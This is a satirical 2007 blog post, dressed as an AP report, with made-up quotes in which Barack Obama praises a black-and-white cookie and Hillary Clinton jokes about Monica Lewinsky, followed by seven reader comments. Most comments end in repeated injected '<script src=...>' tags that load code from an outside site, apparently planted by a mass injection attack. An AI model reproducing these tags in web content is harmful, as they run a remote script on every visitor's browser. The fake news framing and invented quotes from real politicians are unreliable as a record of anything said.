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Barack Obama Urges America To Look To The Cookie

by Mark on 5/6/2007 (7)

Look to the cookie, America, look to the cookie!

(AP) DNC Presidential hopeful Barack Obama urged Americans to "look to the cookie" to glean desperately needed racial harmony in America today.

"Look to the cookie, look to the cookie!" Trumpeted Obama, keenly nibbling a half-vanilla, half-chocolate butter wafer crunch "All the ingredients are in here, a harmonious blend of both chocolate and vanilla in every delectable bite! A reveling symphony of glorious, buttery lip-smacking, golden-crusted, sweet-creamery goodness! Look to the cookie, America, look to the cookie!"

Hillary Clinton, the other DNC Presidential hopeful, unenthusiastically remarked however, "Eh, no thanks. I haven't thrown up since the Monica Lewinsky Moon Pie days, and was really, really hoping to keep it that way."

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1. by Gebriel on 5/6/2007 10:51:54 PM

I do not know what Hillary is talking about. What are "Monica Lewinsky Moon Pie". Why do cookies remind her of Monica Lewinsky? Why does she even want to mention her during her presidential campaign. Isn't that the same woman who brought down her husband's presidency? and hampstrung Gore's campaign?t </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

2. by Mark on 5/6/2007 11:03:08 PM

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3. by Kris on 5/7/2007 12:31:19 AM

Too funnyone"> </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

4. by cutie pie on 5/7/2007 3:26:55 PM

Why doesn't anyone throw up over chubby Bill Clinton? Why doesn't anyone mention Hillary Clinton's umpteen face lifts? Monica's a sexy chick in her 30's the 2 of them are old farts in their 60's. Who's cool and who's over-the hillary?"0" style=" </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

5. by kid bleux on 5/9/2007 10:57:36 PM

From the front row I believe he was actually saying nookie. "Look to the Nookie, America!" That was not a cookie in his hand. It was his new Secret Service issue nicotine patch that he must now carry on his person at all times to counter a dibilitating post-coital stutter brought on by smoking cessation videos. Obviously he had not yet applied the device as I distinctly heard him also say "Look to the bookie" as well as "America needs a wookie"."0" st </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

6. by Motz on 5/10/2007 4:48:16 AM

Chewbacca in 2008! Vote Wookie!"0"< </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

7. by dcd on 5/12/2007 6:48:44 PM

rock on obama! and what a weird thing for hillary to bring up in her campaign. what the heck were the monica lewinsky moon pie days? is this article for real??sid=1" </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>


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